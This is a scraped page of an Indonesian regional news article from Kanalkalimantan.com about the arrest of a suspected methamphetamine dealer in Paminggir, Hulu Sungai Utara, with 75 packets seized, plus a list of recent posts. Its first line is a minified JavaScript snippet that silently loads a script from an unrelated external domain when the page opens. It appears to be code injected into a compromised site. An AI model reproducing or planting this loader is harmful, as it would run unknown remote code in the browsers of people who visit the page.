(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Utara

Pengedar Sabu di Paminggir Ditangkap, Kedapatan Simpan 75 Paket Sabu


 

KANALKALIMANTAN.COM, AMUNTAI – Satresnarkoba Polres Hulu Sungai Utara (HSU) menangkal seorang laki-laki berinisial RA (45) warga Desa Paminggir RT 02 RW 01 Kecamatan Paminggir Kabupaten HSU karena menyimpan 75 paket sabu.

Puluhan paket sabu dengan berat bersih mencapai 31,15 gram tersebut berhasil diungkap anggota Satresnarkoba Polres HSU dalam operasi yang dilakukan pada Kamis (18/1/2024) dari kediaman tersangka RA.

Saat dilakukan penggeledahan rumah RA yang disaksikan oleh ketua RT setempat, anggota juga mendapati barang bukti sebuah kotak pink berisikan dua bungkus plastik klip transparan, selembar slip transfer, satu timbangan digital serta sebuah dompet hitam berisikan uang tunai Rp8.140.000.

Baca juga: BNPB: Banjir Terjadi di 1 Kota dan 5 Kabupaten di Kalteng

Kapolres HSU Meilki Bharata melalui Kasat Narkoba Polres HSU AKP Sutargo membenarkan pengungkapan kasus narkoba ini berkat kerjasama dan informasi yang diberikan masyarakat.

“Tersangka RA ini diperoleh informasi dari masyarakat setempat dan tokoh-tokoh di sana yang sudah lama jual sabu, pelaku juga mengakui sudah 3 tahun lebih jual sabu,” jelas AKP Sutargo kepada Kanalkalimantan.com, Minggu (20/1/2024).

Menurut AKP Sutargo, tersangka RA berbisnis barang haram tersebut dengan harga yang ditawarkan bervariasi kepada para pembeli.

Baca juga: Target Partai di Kalsel Prabowo-Gibran Satu Putaran

“Kalau statusnya dia sebagai pengedar karena stand by saja di rumah, siapkan barang-barangnya dari harga Rp100 ribu sampai Rp700 ribu, tersedia banyak dan para pelanggan yang datang ke rumahnya. Untuk pembeli ada warga, karyawan kebun sawit, pendatang yang singgah maupun melintasi Paminggir,” bebernya.

Ditanya asal muasal barang haram tersebut, pengakuan tersangka AR barang itu berasal dari Banjarmasin dan diambil sendiri oleh tersangka melalui jalur sungai.

“Dari pengakuan RA barang dari Banjarmasin, dibawa melalui sungai, ambil sendiri ini yang masih kami dalami,” imbuhnya.

Baca juga: Keluhan Warga Bikin SIM Harus ke Km 21 Liang Anggang, Ini Tanggapan Kapolresta Banjarmasin

Sementara atas kejadian tersebut saat ini tersangka RA dan barang bukti ditahan di Polres HSU guna proses penyidikan lebih lanjut.

Atas perbuatannya, tersangka RA juga dapat dijerat pasal 114 ayat 2 dan atau pasal 112 ayat 2 UU RI No.35 Tahun 2009 Tentang Narkotika ancaman hukuman 5 sampai 20 tahun penjara. (Kanalkalimantan.com/dew)

Reporter : dew
Editor : bie


Muhammad Andi

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.